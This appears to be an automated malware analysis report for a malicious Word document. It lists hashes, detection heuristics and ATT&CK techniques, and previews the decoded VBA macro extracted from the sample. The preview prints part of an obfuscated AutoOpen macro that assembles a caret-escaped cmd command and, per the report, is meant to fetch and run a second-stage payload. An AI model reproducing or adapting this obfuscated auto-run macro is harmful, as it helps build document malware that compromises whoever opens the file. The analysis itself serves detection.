Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f32c11c8e34f9568…

MALICIOUS

Office (OLE)

185.4 KB Created: 2018-09-24 20:59:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 14c43024623bf179600030770decb517 SHA-1: 2a7bb573f4696fdb87f0422839231a1405798f49 SHA-256: f32c11c8e34f95683cdac591906d77187f99847380c62bd50963b34789120c2c
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is configured to execute a payload using the Shell() function. The macro code is heavily obfuscated, but the presence of the Shell() call and the AutoOpen entry point strongly indicate an attempt to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6697102-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6697102-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 152983 bytes
SHA-256: 706a984c3d062be9464d1807c982d1dafc444ad39b17b890f973cd8a848821c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NkpcXPO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim MGirA(1)
MGirA(0) = Mid(MWoCDnc + ocuBLJukoibOXJGJVJGumHrtS + BPJvkPs, 889, 210) + Left(zzMjawwf + wOIAiiItTQckpTSSmuOPJLJhDhtu + LFBAuCj, 689)
   Dim jNHaPI(1)
jNHaPI(0) = MidB(ljdQCwpY + MZVpiijRXjNiOazBHnZNiBY + wBFijioRQujdt, 966, 810) + Right(XBPbdYrXsSm + nFzrTQRFhAZWfOYOoGiXRNUc + nMBFdHdf, 40) + MidB(qVqBpFVsdw + DGfIifdwnDznYQiYlsMPkoWcIzj + IjzzwwvA, 471, 633) + Right(WwNRoqUsGSTu + UMCUwDSrlEaRjZrncXdOsIIPtCqPDIDi + DiiUfLIqXKuCOi, 825)
   Dim jcDqA(1)
jcDqA(0) = Left(ZpupXIdvGtkup + hzUwzVqnMYjvBfHCrtQTTPhwvUuwhEw + VDsTiBh, 317) + Left(HtamhCvOr + BhQWvSSczqXclzzajDdBaEUiMtlqG + UWbwniPorW, 682) + MidB(AiCVCChcYfqRak + NAQcERcYdYGTlfqRWiQnEzuwqkfMwJG + SLtjFirdvN, 266, 744) + Left(AECbrwM + KUmnwLIKIHIGcwZMZkjJpkiIw + hJGjjOSrs, 339)
   Dim Efrcu(1)
Efrcu(0) = Left(BfXCDud + CTDMcuZwRZtkHUsWhbizIsjjKHDmFDVoY + aKFsKUiTuKq, 182) + Mid(BhwujWTvK + OnnjlfHiwGRYFPwZmZUwWVWuprGf + BwhumIiiikGkJ, 881, 922) + Left(uIlusrOkKO + nqaRhDBiDdulTmRSwVTLWNvIESJ + tPrtjTbqukUHfr, 183) + Mid(wRwmmwU + DluzQtLBVbslzllwErWmj + sdIHTXPbPq, 919, 925)
VruLFkBqzfIY (KeyString(vbKeyC) + KeyString(vbKeyM) + QIvKz + hlKjZfs + zkIKnfCjF + nqwdcKnHGn + wqnwNKSNzhLVaM + LzuBhbtCDcJjuq)
   Dim YHvjw(2)
YHvjw(0) = Mid(KZQIZHCpPjqk + YOUwlukBiSJvzSRABjbRTUuBnu + FLpzsak, 240, 820) + Right(rwwAMFWz + KirwzBbrtzGiNNFzZrjNZkTUThvQwRO + wCvYIVzDCJk, 906) + Left(HzGTBbUR + hHJzjJQzIjGdSHTmKWbjZoTqwNUJj + rALzWtskm, 72) + Mid(ToLhoJvl + bjINTSmnZFMaGImizmcYczBmff + EVjZbrJZawzd, 532, 119)
YHvjw(1) = MidB(EZCVRCzVw + NRfGIanBrqhviDHznztniGcdTBXO + LvIvsqDnE, 289, 457) + Mid(HrOuwiwNJUiwz + TzTcGQjivMGwvJiPLNVmZfcCBaiw + GUFvvQbX, 172, 365) + Right(mDErqOllKKOsu + OhHRNNkooMiumzdmYZzKkQNGBwGNAw + pBBViBOPf, 149) + MidB(zMjbTNDFQXXBz + siwiVIYIckDCKhfcWXHptmujwSdAVXS + jZYhaDEqQLMu, 680, 849)
   Dim cztcEF(2)
cztcEF(0) = MidB(bcqwjifYoAw + pjlLodbimMZiWsZtcadzNGGijoFitrjmSI + cTspPQQNp, 140, 978) + MidB(XZAjiXEhuv + ijqpGERcMwJEizqstYLVSjDkkM + YzIljZYjChSK, 490, 298) + MidB(AaOoBWDWT + ICUjPiQlFHNQTKWHrAljjJztj + lSYBQjhBDjIdpL, 79, 264) + Left(rAvfTPVXTk + kkkKWdoPDoGnTnZvvAYoBzFzJfs + dlvYtipaZhQNLp, 845)
cztcEF(1) = Mid(wbvFbRLwjLQ + kLQrcCXPfQiWSHapzhjQRrBTj + TYvuzFzU, 237, 792) + MidB(QLMzFzEVt + izAuwzannUwJJbdVzYXUT + rwTfGQS, 412, 330)
   Dim nSwEr(1)
nSwEr(0) = Mid(AMWuEVQUsTlOj + ijEYLtIOnozNhbqTGvKiS + NiGkIzBioOAS, 797, 880) + MidB(JGPXCmRrlYPwNT + zafZHcfrwjtMiAaNzAXiaQOzjh + UJOTOOSqj, 520, 464)
   Dim LwUlFo(2)
LwUlFo(0) = MidB(OCpdiCrYDiGcjp + iPHjDiosWqfAMSjqCBTodOsPq + QVFMHqjsrk, 277, 946) + Right(LMYrMWiJ + GLaiSLPziJGUaFcDBfGoESBUYinmHXOFv + ajUQPpB, 815)
LwUlFo(1) = MidB(lkTjdrCBrtLQ + TuXwzLiJMBbzlpiicPkUGdfLEEVqJodwU + taAcXRE, 571, 121) + MidB(NOjBGEaZ + RAiFqLRLIaMbjojKBAZjsqG + hYWvAiba, 432, 434)
End Sub


Attribute VB_Name = "tFQDXpkQS"
Function QIvKz()
Dim ztGml(2)
ztGml(0) = Mid(cjhrtqwqTYIwz + wYsXakojFhmsVVfqnMRVuOLdJXJ + GfVvblMCow, 540, 192) + Left(EUzsSIlhjrCzJO + MvRPoMzaEEbdAiLnJMiqGlZw + dczwJjjsrGrUX, 777)
ztGml(1) = Right(bDjNqJqHzSiE + POVhabdNTQzwLPoopJVRRCUlpzr + hNrdwpOnDOk, 320) + Right(MisIdsckTu + fFqnNcOmjUlpzWvlBCjHGzqNJw + whtKIzPAHCsjd, 193)
AuZmNMKIX = "d /V:/C" + CStr(Chr(0 + 0 + 4 + 3 + 27)) + "^s" + "^e^t " + "?^{=/_" + "- /\_" + "^ ^\^-^_ -\" + "/^ ^_-^\ -"
Dim Oujkzw(2)
Oujkzw(0) = MidB(BsUzARiEjRvMUa + MDYtZYPLnNzsXdZGcZR + zFYHCWQnDcY, 926, 490) + MidB(dcNoMDkMaN + vUNjuAwuUAIEWatPlHzjAMdqYOtztdn + qwdwcCBcU, 180, 997)
Oujkzw(1) = Left(rwpFbDrrNUR + jaCOaBBHDTLUdCzdAvXwIo + iacbLmEVaaFi, 972) + Right(ndjtGZprhS + cJdtaYRWbswZQHbTiLZjTcuwJp + JWdcMwjiKjSpMl, 689) + Mid(RNSGwKzDaKRjc + zjiawoviswJzjWisaFsbLMfYmmPwiYksj + YCWjaKoM, 81, 375) + Right(ZFWPGjsXNQP + dwaYIrqjiCDVrdWAbFiKqJdLnivHn + wLNnvbNvqDStO, 818)
   Dim FmczCV(2)
FmczCV(0) = Right(ZKmPXZFijCV +
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.